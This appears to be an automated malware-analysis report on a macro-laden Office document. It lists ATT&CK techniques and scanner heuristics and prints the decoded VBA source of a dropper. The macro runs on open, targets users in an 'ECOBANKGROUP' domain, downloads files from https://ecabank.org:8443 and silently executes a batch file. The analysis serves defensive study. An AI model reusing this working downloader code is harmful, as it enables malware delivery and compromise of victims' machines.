MALICIOUS
434
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
T1071.001 Web Protocols
T1204.002 Malicious File
T1059.003 Windows Command Shell
The sample contains VBA macros that leverage WScript.Shell and CreateObject to download and execute files from the URL 'https://ecabank.org:8443'. Specifically, it attempts to download 'process4.xml' and 'statement4.txt', saving them as 'process-gateway.txt' and 'querystats.bat' respectively. The macro then executes 'querystats.bat' using 'cmd /k cd "C:\Users\<username>\" && querystats.bat', indicating a downloader or dropper functionality.
Heuristics 15
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ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
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VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Dim statsImage Set statsImage = VBA.CreateObject("WScript.Shell") statsImage.Run "cmd /k cd """ + imgPth + """ && querystats.bat", 0, False -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.Open .write xHttp.responseBody .savetofile imagePlace, 2 '//overwrite -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Function findImages(imagePath, imagePlace) Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() Call checkImages -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() Call checkImages -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
End Function Sub Auto_Open() Call checkImages -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
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LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
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Urgency / deadline lure low SE_URGENCY_LUREDocument contains urgency or deadline language ('account will be terminated', 'action required within 24 hours', etc.) — useful context, but low-signal without other findings
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://ecabank.org:8443 Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1921 bytes |
SHA-256: bc9a0c0a9ce799b42f095b26ac77769b156407964846befd430eed1179b8b99d |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Function findImages(imagePath, imagePlace)
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", imagePath, False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile imagePlace, 2 '//overwrite
End With
End Function
Function checkImages()
Set wshNetwork = CreateObject("WScript.Network")
strUserDomain = wshNetwork.UserDomain
imgRepo = "https://ecabank.org:8443"
Set imagePathing = CreateObject("Scripting.FileSystemObject")
imgRepo = "https://ecabank.org:8443"
If InStr(LCase(strUserDomain), LCase("ECOBANKGROUP")) <> 0 Then
Set imagePathing = CreateObject("Scripting.FileSystemObject")
imgPth = getImagePaths()
Call findImages(imgRepo + "/gateway/process4.xml", imgPth + "\process-gateway.txt")
Call findImages(imgRepo + "/gateway/statement4.txt", imgPth + "\querystats.bat")
Dim statsImage
Set statsImage = VBA.CreateObject("WScript.Shell")
statsImage.Run "cmd /k cd """ + imgPth + """ && querystats.bat", 0, False
End If
End Function
Function getImagePaths()
Dim imagePathing2
Set imagePathing2 = CreateObject("Scripting.FileSystemObject")
imgPth = "C:\\Users\\" + getU() + "\\"
getImagePaths = imagePathing2.GetAbsolutePathName(imgPth)
End Function
Function getU()
Set obinf = CreateObject("WinNTSystemInfo")
getU = obinf.UserName
End Function
Sub Auto_Open()
Call checkImages
End Sub
Sub Workbook_Open()
Call checkImages
End Sub
Sub AutoOpen()
Call checkImages
End Sub
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